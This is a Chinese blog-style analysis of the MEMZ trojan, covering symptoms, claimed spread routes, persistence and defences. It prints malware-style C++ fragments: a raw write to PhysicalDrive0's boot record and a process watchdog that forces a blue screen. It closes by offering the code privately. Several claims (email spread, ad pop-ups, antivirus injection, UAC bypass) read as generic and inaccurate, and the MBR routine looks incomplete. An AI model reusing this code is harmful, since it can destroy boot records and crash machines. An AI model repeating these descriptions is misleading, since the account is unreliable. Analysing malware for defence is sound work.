在网络安全领域,病毒和恶意软件始终是威胁用户信息安全的重要因素之一。近期,一种名为“彩虹猫(MEMZ)”的病毒在网络上引起了广泛关注。本文将详细分析该病毒的特征、传播方式以及防范措施,帮助用户更好地了解和应对这一威胁。我最近也拿到彩虹猫的代码,我进行一个分析:
一、病毒概述
彩虹猫(MEMZ)病毒是一种具有较高传播性和隐蔽性的恶意软件。它通过多种途径感染用户的计算机系统,给用户的正常操作带来极大困扰。该病毒的主要特征包括:
-
系统资源占用:感染后,病毒会在后台运行,占用大量系统资源,导致计算机运行缓慢甚至卡顿。
-
弹出广告:用户可能会频繁遇到弹出式广告,这些广告不仅干扰正常操作,还可能包含恶意链接,进一步威胁用户的网络安全。
-
修改系统设置:病毒可能会修改系统的关键设置,如浏览器主页、启动项等,使用户的计算机处于不稳定状态。
二、传播途径
彩虹猫(MEMZ)病毒的传播途径多种多样,主要包括以下几种:
-
电子邮件附件:病毒制作者会通过伪装成正常文件的电子邮件附件进行传播。用户一旦下载并打开这些附件,病毒就会自动安装并运行。
-
恶意下载链接:在一些不安全的网站上,病毒可能会通过伪装成正常软件的下载链接进行传播。用户在下载软件时,如果不小心点击了这些链接,就可能感染病毒。
-
社交媒体分享:病毒还可能通过社交媒体平台进行传播,例如伪装成有趣的视频或图片链接,诱导用户点击。
三、病毒的运行机制
彩虹猫(MEMZ)病毒在感染计算机后,会通过以下机制进行自我复制和传播:
-
修改MBR(主引导记录):病毒会修改计算机的MBR,使其在开机时自动加载病毒程序。这种修改使得病毒能够在系统启动的早期阶段就开始运行,增加了其隐蔽性和难以清除的特性。
-
注入系统进程:病毒会将自己的代码注入到系统的关键进程中,如浏览器、杀毒软件等。通过这种方式,病毒可以躲避杀毒软件的检测,同时还能在后台进行各种恶意操作。
-
利用漏洞传播:病毒会利用系统或软件的漏洞进行传播。例如,如果用户的浏览器存在未修复的漏洞,病毒就可能通过该漏洞进入系统。
这是一种特洛伊木马,主要由C++和汇编语言编写,具有多阶段感染特性。
以下是其代码的一些关键特征:
(1)多阶段感染机制
MEMZ病毒通过多个阶段逐步感染系统,每个阶段都会自动触发下一个阶段。例如:
-
第一阶段:通过修改MBR(主引导记录)实现开机自启。
-
第二阶段:通过创建计划任务或修改系统启动项,确保病毒在系统启动时自动运行。
(2)提权与系统操作
病毒会通过调用RtlAdjustPrivilege
和NtRaiseHardError
等函数,绕过用户账户控制(UAC)并获取更高权限。这些函数通常用于恶意程序的提权操作。
(3)进程监控与自我保护
病毒会通过创建线程监控系统进程,确保自身不会被用户轻易关闭。例如:
-
使用
CreateToolhelp32Snapshot
和Process32Next
函数遍历系统进程。 -
如果检测到自身进程被关闭,病毒会触发蓝屏或强制关机。
(4)随机性与干扰行为
MEMZ病毒会通过随机生成的行为干扰用户操作,例如:
-
随机移动鼠标指针。
病毒通过设置Windows钩子(
SetWindowsHookEx
)来监控鼠标事件,并通过随机数生成函数控制鼠标指针的移动:LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == 3) { DWORD *cte = *(DWORD**)lParam; if ((*(*(DWORD**)lParam + 32) & 0x80400000) != 0) { int mid_wide = random1() % (wide - cte[5]); int mid_high = random1() % (high - cte[4]); cte[7] = mid_wide; cte[6] = mid_high; } } return CallNextHookEx(0, nCode, wParam, lParam); }
-
随机弹出窗口或消息框。
-
使用
CryptGenRandom
函数生成随机数,用于控制鼠标位置或窗口位置。
int random1()
{
HCRYPTPROV v1;
BYTE pbBuffer[4] = {0};
v1 = hProv;
if (!hProv)
{
if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer);
return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}
(5)MBR修改与持久化
病毒会通过修改硬盘的MBR来实现持久化,确保在系统重启后仍然能够运行。例如:
-
使用
CreateFileA
打开物理驱动器,并向其写入恶意代码。 -
修改MBR后,系统启动时会加载病毒代码。
void ModifyMBR() { HANDLE hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hDrive != INVALID_HANDLE_VALUE) { BYTE mbr[512] = {0}; ReadFile(hDrive, mbr, 512, 0, 0); // 读取当前MBR // 修改MBR内容 WriteFile(hDrive, mbr, 512, 0, 0); CloseHandle(hDrive); } }
-
病毒会监控自身进程数量,一旦发现进程减少,会通过调用
NtRaiseHardError
触发蓝屏或强制关机。void sub_40114A() { // 获取当前进程路径 char* processPath = LocalAlloc(0x40, 0x200); GetCurrentProcessImageFileNameA(GetCurrentProcess(), processPath, 0x200); // 每隔一段时间检查进程数量 while (1) { int processCount = 0; HANDLE snapshot = CreateToolhelp32Snapshot(2, 0); PROCESSENTRY32W pe = {sizeof(PROCESSENTRY32W)}; if (Process32FirstW(snapshot, &pe)) { do { if (!strcmp(processPath, GetProcessImageFileNameA(OpenProcess(0x400, FALSE, pe.th32ProcessID)))) processCount++; } while (Process32NextW(snapshot, &pe)); } CloseHandle(snapshot); // 如果进程数量减少,触发蓝屏 if (processCount < expectedCount) sub_401021(); // 调用蓝屏函数 Sleep(10000); // 休眠10秒 } }
四、病毒代码的防范措施
针对MEMZ病毒的代码特征,以下是一些防范措施:
(1)使用安全工具
-
安装并更新可靠的杀毒软件,定期进行全盘扫描。
-
使用安全工具(如Process Monitor)监控系统进程和注册表操作。
(2)系统加固
-
及时更新操作系统和软件,修复已知漏洞。
-
禁用不必要的系统服务,减少被攻击的入口。
(3)用户行为防范
-
避免运行来源不明的文件,尤其是
.exe
和.bat
文件。 -
不要轻易点击弹出窗口或消息框中的链接。
(4)备份与恢复
-
定期备份重要数据,以便在系统感染后能够快速恢复。
-
如果系统被感染,尝试使用安全模式或系统还原功能恢复。
需要的同学可以私信我